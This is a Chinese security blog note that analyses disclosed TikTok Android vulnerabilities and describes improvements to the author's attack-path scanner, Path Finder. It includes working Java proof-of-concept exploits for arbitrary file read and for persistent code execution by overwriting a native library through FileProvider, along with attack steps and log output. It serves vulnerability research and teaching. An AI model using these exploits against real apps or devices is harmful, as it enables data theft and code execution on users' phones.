大土豆安全笔记 | Android应用客户端漏洞的攻击入口

许久不见呀各位老板

客户端应用的逻辑漏洞一直都是我很喜欢研究的,包括我写了一个扫描器Path Finder也是专门用于搜索攻击路径的

最近我整理了近年来的一些比较有质量的漏洞,抽象出了漏洞模型来测试Path Finder的检出能力,事实证明Path Finder还是个孩子

不过还是有所进步的,接下来我用具体的漏洞实例讲讲我如何对Path Finder扫描逻辑进行优化

Path Finder的基础扫描思路就是控制流的路径搜索,这点之前的笔记里也有提过,比如一个组件FirstActivity导出,它的重写方法onCreate()调用了方法startActivity(),那这里就可以形成一条路径FirstActivity.onCrate() -> startActivity()

最基础的情况下我们打印出所有这样的路径,即可发现大部分以方法startActivity()为搜索点的攻击入口,在真实的攻防场景里,方法startActivity()只是众多攻击入口之一,本文仅以此举例说明

国外的安全团队Oversecured去年中旬使用自研的扫描器对TikTok进行过一次安全检测,发现了若干客户端的漏洞,漏洞点比较常规,但是利用思路对我很有启发,基于此我也思考了一些新的思路去探索可行的利用链

《Oversecured detects dangerous vulnerabilities in the TikTok Android app》

  • https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/

第一个漏洞是组件导出导致的任意文件读漏洞

组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity导出

<activity 
    android:exported="true" android:name="com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity"
    android:screenOrientation="1" 
    android:theme="@style/ac"/>

com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity会从传入Intent的键live_wall_paper获取类型为LiveWallPaperBean的对象数据并赋值给全局变量mLiveWallPaperBean

@Override  // com.ss.android.ugc.aweme.base.activity.AmeSSActivity
public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.mLiveWallPaperBean = (LiveWallPaperBean)this.getIntent().getParcelableExtra("live_wall_paper");
    if(this.mLiveWallPaperBean == null) {
        this.finish();
        return;
    }
    
    ...
}

这个Activity界面上有一个按钮,按钮点击回调会调用方法setLiveWallPaper()

// com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity_ViewBinding

public class LiveWallPaperPreviewActivity_ViewBinding implements Unbinder {

    public LiveWallPaperPreviewActivity_ViewBinding(LiveWallPaperPreviewActivity arg4, View arg5) {
        View v0_1 = Utils.findRequiredView(arg5, 0x7F141A55, "method \'setLiveWallPaper\'");  // id:dfr
        this.c = v0_1;
        v0_1.setOnClickListener(new DebouncingOnClickListener() {
            @Override  // butterknife.internal.DebouncingOnClickListener
            public final void doClick(View arg1) {
                arg4.setLiveWallPaper();
            }
        });
        
       ... 
    }
    
    ...
}

方法setLiveWallPaper()将刚才的全局变量mLiveWallPaperBean写入com.ss.android.ugc.aweme.livewallpaper.c.c.f,这个变量也是一个LiveWallPaperBean

public void setLiveWallPaper() {
    ...
    
    this.mLiveWallPaperBean.setSource("paper_set");
    c v0 = c.a();
    LiveWallPaperBean liveWallPaperBean = this.mLiveWallPaperBean;
    v0.mLiveWallPaperBean.setId(liveWallPaperBean.getId());
    v0.mLiveWallPaperBean.setThumbnailPath(liveWallPaperBean.getThumbnailPath());
    v0.mLiveWallPaperBean.setVideoPath(liveWallPaperBean.getVideoPath());
    v0.mLiveWallPaperBean.setWidth(liveWallPaperBean.getWidth());
    v0.mLiveWallPaperBean.setHeight(liveWallPaperBean.getHeight());
    v0.mLiveWallPaperBean.setSource(liveWallPaperBean.getSource());
    c.a().a(this);
    String v0_1 = this.mLiveWallPaperBean.getId();
    ...
}

注意这里是使用c.a()的形式获取实例

public final class c {
    private static c f;
    ...
    
    public static c a() {
        return c.f;
    }
    
    ...
}

总结一下第一步就是导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity传入一个Intent,点击按钮后可以更改掉一个对象实例的内部数据

这里会有缓存的问题,比如原先已经设置了,就会出现设置后的值,我测试的时候设置为/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid,所以在默认的情况下会出现这个值,包括widthheight也是

com.zhiliaoapp.musically on (google: 8.1.0) [usb] # plugin wallbreaker objectsearch com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean
(agent) [571691] Called com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean.toString()
[0x2aa2]: LiveWallPaperBean{id='null', thumbnailPath='null', videoPath='/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid', width=100, height=100, source=paper_set}

com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean包含一个变量videoPath,方法getVideoPath()setVideoPath(),这个值在后面的利用会用到

public class LiveWallPaperBean implements Parcelable {
    private String videoPath;
    ...
    
    public String getVideoPath() {
        return this.videoPath;
    }
    
    public void setVideoPath(String videoPath) {
        this.videoPath = videoPath;
    }
    
    ...

组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider导出

<provider 
    android:authorities="com.zhiliaoapp.musically.wallpapercaller" 
    android:exported="true"
    android:name="com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider"/>

方法WallPaperDataProvider.openFile()会获通过方法c.a()获取到上面修改过数据后的对象实例mLiveWallPaperBean的字段videoPath,主要这个字段我们可控,最后直接返回这个文件

public class WallPaperDataProvider extends ContentProvider {

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        String videoPath = "";
        int match = this.uriMatcher.match(uri);
        if(match == 0x10) {
            videoPath = c.a().mLiveWallPaperBean.getVideoPath();
        }
        else if(match == 0x20) {
            videoPath = e.b();
        }

        try {
            return ParcelFileDescriptor.open(new File(videoPath), 0x10000000);
        }
        catch(Exception unused_ex) {
            return null;
        }
    }
    
    ...
}

总结下这个漏洞:导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity能修改掉一个对象实例的字段,导出组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider会获取上述对象实例的字段videoPath作为路径进行文件打开并返回

常规扫描器最多只能扫描出来组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider导出可能存在问题,将两个组件通过一个变量赋值读取行为进行关联,大概率是使用污点分析

目前的Path Finder暂时就先不考虑这样的漏洞模型了,不过我已经有想法如何进行处理了

漏洞利用不复杂,因为传入的是序列化后的私有类对象,我们需要在Poc里添加这个私有类,有个简单办法是直接把classes.dex文件转换为Jar包,作为第三方库导入,这个应用有很多的Dex文件,这个版本的com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean在文件classes5.dex,在启动导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity后,Poc会延迟五秒,这个时间用于点击按钮来实现数据写入,五秒后开始查询,将查询到的结果在日志里输出

public class MainActivity extends Activity {
    String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid";
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        LiveWallPaperBean liveWallPaperBean = LiveWallPaperBean.buildEmptyBean();
        liveWallPaperBean.setHeight(100);
        liveWallPaperBean.setWidth(100);
        liveWallPaperBean.setId("1337");
        liveWallPaperBean.setSource(theft);
        liveWallPaperBean.setThumbnailPath(theft);
        liveWallPaperBean.setVideoPath(theft);

        Intent intent = new Intent();
        intent.setClassName(
                "com.zhiliaoapp.musically", 
                "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
        intent.putExtra("live_wall_paper", liveWallPaperBean);
        startActivity(intent);

        Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
        new Handler().postDelayed(() -> {
            try {
                InputStream inputStream = getContentResolver().openInputStream(uri);
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
                String lineStr = null;
                while ((lineStr = bufferedReader.readLine()) != null) {
                    Log.e(TAG, "onCreate: ==> " + lineStr);
                }
                bufferedReader.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }, 5000);
    }
}

日志

10537-10537/com.wnagzihxa1n.myapplication E/ContentValues: onCreate: ==> 58dae009-5f23-43b1-8377-fa770cb3925a

第二个漏洞是组件导出导致的持久化代码执行漏洞

组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver导出

<receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
    <intent-filter>
        <action android:name="notification_cancelled"/>
    </intent-filter>
</receiver>

当Action为notification_clicked的时候,会获取contentIntentURI传入startActivity()进行跳转,由于contentIntentURI外部可控,所以可以跳转任意私有不导出Activity组件

public class NotificationBroadcastReceiver extends BroadcastReceiver {
    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if(context != null && intent != null) {
            String action = intent.getAction();
            int intent_type = intent.getIntExtra("type", -1);
            if(intent_type != -1) {
                ((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
            }

            Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
            if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
                try {
                    intent_contentIntentURI.getDataString();
                    context.startActivity(intent_contentIntentURI);    // <--
                }
                catch(Exception unused_ex) {
                }
            }

            if("notification_cancelled".equals(action)) {
                Map map = null;
                if(intent_contentIntentURI != null) {
                    map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
                }

                h.a("push_clear", map);
            }

            return;
        }
    }
}

高版本的安卓系统需要如下使用FileProvider,这里可以看到被设置为不导出

<provider 
    android:authorities="com.zhiliaoapp.musically.fileprovider" 
    android:exported="false" 
    android:grantUriPermissions="true" 
    android:name="android.support.v4.content.FileProvider">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider>

对应的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <root-path name="name" path=""/>
    <external-path name="share_path0" path="share/"/>
    <external-path name="download_path2" path="Download/"/>
    <cache-path name="gif" path="gif/"/>
    <external-files-path name="share_path1" path="share/"/>
    <external-files-path name="install_path" path="update/"/>
    <external-files-path name="livewallpaper" path="livewallpaper/"/>
    <external-cache-path name="share_image_path0" path="picture/"/>
    <external-cache-path name="share_image_path2" path="head/"/>
    <external-cache-path name="share_image_path3" path="feedback/"/>
    <external-cache-path name="share_image_path4" path="tmpimages/"/>
    <cache-path name="share_image_path1" path="picture/"/>
    <cache-path name="share_image_path3" path="head/"/>
    <cache-path name="share_image_path4" path="tmpimages/"/>
    <cache-path name="share_sdk_path_0" path="share_content_cache/"/>
</paths>

这里的利用值得学习,先拥有一个任意私有Activity组件打开的能力,去结合FileProvider获取文件读写的能力,再去实现动态库加载

首先是给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver发送广播

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }

    private void handleIntent(Intent i) {
        Intent intent = new Intent("notification_clicked");
        intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
        sendBroadcast(intent);
    }
}

回顾下漏洞代码段,会获取contentIntentURI字段,用于后续跳转

Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
    try {
        intent_contentIntentURI.getDataString();
        context.startActivity(intent_contentIntentURI);
    }
    catch(Exception unused_ex) {
    }
}

如下即可实现指定应用获取FileProvider的文件读写权限,从NotificationBroadcastReceiver跳到Poc的MainActivity的时候就获得了对FileProvider的文件读写权限,此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so,同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver,会去调用else分支,将我们的So文件写入上面指定的路径

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }
    
    @Override
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private void handleIntent(Intent i) {
        if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
            // NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent,用于Poc获取FileProvider的文件读写权限
            Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));

            // 发往NotificationBroadcastReceiver的Intent
            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
                InputStream inputStream = getAssets().open("evil_lib.so");
                IOUtils.copy(inputStream, outputStream);
                inputStream.close();
                outputStream.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }
}

我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so,这得从Facebook开源的SoLoader说起,这个工具可以自动实现So文件的加载,能够解决大量动态库的依赖问题,它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main,然后应用启动的时候会去这个路径下加载动态库,但在测试过程中,这个路径下默认是没有库文件的

那我们既然拥有/data/data/com.zhiliaoapp.musically下文件的读写能力,就可以指定其中一个动态库去覆写,应用启动的时候就会加载我们覆写后的动态库,实现代码执行

需要注意的是不同版本有不一样的行为,在某些版本并不能生成lib-main文件夹,可以替换成app_librarian/14.8.3.6327148996

攻击过程:先安装TikTok,点击启动运行,再运行Poc,覆写So,再重启TikTok就会发现漏洞利用成功

第三个漏洞模型和第二个漏洞一样,只是它的入口并不是很常规的onCteate()

组件com.ss.android.ugc.aweme.detail.ui.DetailActivity导出

<activity 
    android:name="com.ss.android.ugc.aweme.detail.ui.DetailActivity" 
    android:screenOrientation="portrait" 
    android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
    android:windowSoftInputMode="adjustUnspecified|stateHidden|adjustResize">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="taobao" android:host="detail.aweme.sdk.com"/>
    </intent-filter>
</activity>

很直接的获取传入的Intent去跳转,点击返回键来触发,返回键大部分的安卓机都是有的

@Override  // android.support.v4.app.FragmentActivity
public void onBackPressed() {
    if(com.ss.android.ugc.aweme.utils.d.c.c()) {
        Intent intent = (Intent)this.getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY");
        if(intent != null && intent.resolveActivity(this.getPackageManager()) != null) {
            this.startActivity(intent);
            this.finish();
            return;
        }
    }
    
    ...
}

利用过程和第二个漏洞一样,利用FileProvider的权限获得对私有目录文件的读写能力,覆写后重启应用实现持久化代码执行

第四个漏洞比较复杂,简单来说就是一个导出的Service,实现了tryDownload()接口可以实现任意文件的下载与路径的指定

然后讲讲其它的漏洞模型

第一个Activity是FirstActivity,第二个Activity是SecondActivity,第三个Activity是ThirdActivity,依次继承,一般情况下我们都会正常实现onCreate(),但有时候会出现不正常的情况,有的子类它不实现onCreate(),一开始Path Finder就没法构建出ThirdActivity.onCreate -> SecondActivity.onCreate()这样的调用路径,会导致相当一部分的漏报

所以我在构图的过程中,一旦发现没有实现这些重写函数,就手动构建,并且添加调用父类的路径

[!] Not Find Activity ==> Lcom/qihoo360/mobilesafe/proxy/activity/DefaultShortCutProxyActivity2;->onCreate(Landroid/os/Bundle;)V
	[!] Attempt to Find SuperClass ==> Lbjg;
[!] Find Activity ==> Lbjg;->onCreate(Landroid/os/Bundle;)V

但也有的类它确实就是没有这个方法,所以一旦发现父类来自系统库,就中止搜索

[!] Not Find Service ==> Lcom/qihoo360/mobilesafe/service/helper/GuardHelperService;->onHandleIntent(Landroid/content/Intent;)V
	[!] Attempt to Find SuperClass ==> Lbki;
[!] Not Find Service ==> Lbki;->onHandleIntent(Landroid/content/Intent;)V
	[!] Attempt to Find SuperClass ==> Landroid/app/Service;
	[!] 系统类,中止搜索 ==> Landroid/app/Service;

这里有一个实例漏洞,我抽象出漏洞模型来讲讲,它也是一个导出的SecondActivity,它本身没有实现onCreate(),但是父类FirstActivity实现了,然后父类的onCreate()又调用了一个抽象方法,这个抽象方法在导出的SecondActivity里实现

除了子类父类这些关系要捋清楚,还要刷新一遍接口方法,抽象方法等这些反编译出来并没有直接指向的特性

有人问我为什么不搞基于数据流分析的FlowDroid,别问,问就是看不懂

更新后的Path Finder在最新的TikTok,DouYin上发现了若干有意思的漏洞

之前提到过的利用WebView的UXSS作为攻击入口实现RCE的漏洞模型我也在单独适配,看看五一能不能完成这部分的工作

  • https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105

再聊聊最近的一些学习

WhatsApp的漏洞

  • https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

CanSecWest2021关于特斯拉的安全研究

  • https://docs.google.com/presentation/d/1T9NAJTBWkqBGsQlQwM1anbFXRhxJcTiq0O4VfQCtVEk/edit#slide=id.gd544bf491d_1_89
  • https://kunnamon.io/tbone/tbone-v1.0-redacted.pdf

华为奇点安全实验室在Zer0Con2021关于Chrome漏洞利用的分享

  • https://github.com/singularseclab/Slides/raw/main/2021/chrome_exploitation-zer0con2021.pdf

然后就是鸿蒙已经开始小范围推送了,听说使用体验非常丝滑,彻底i了

IMAGE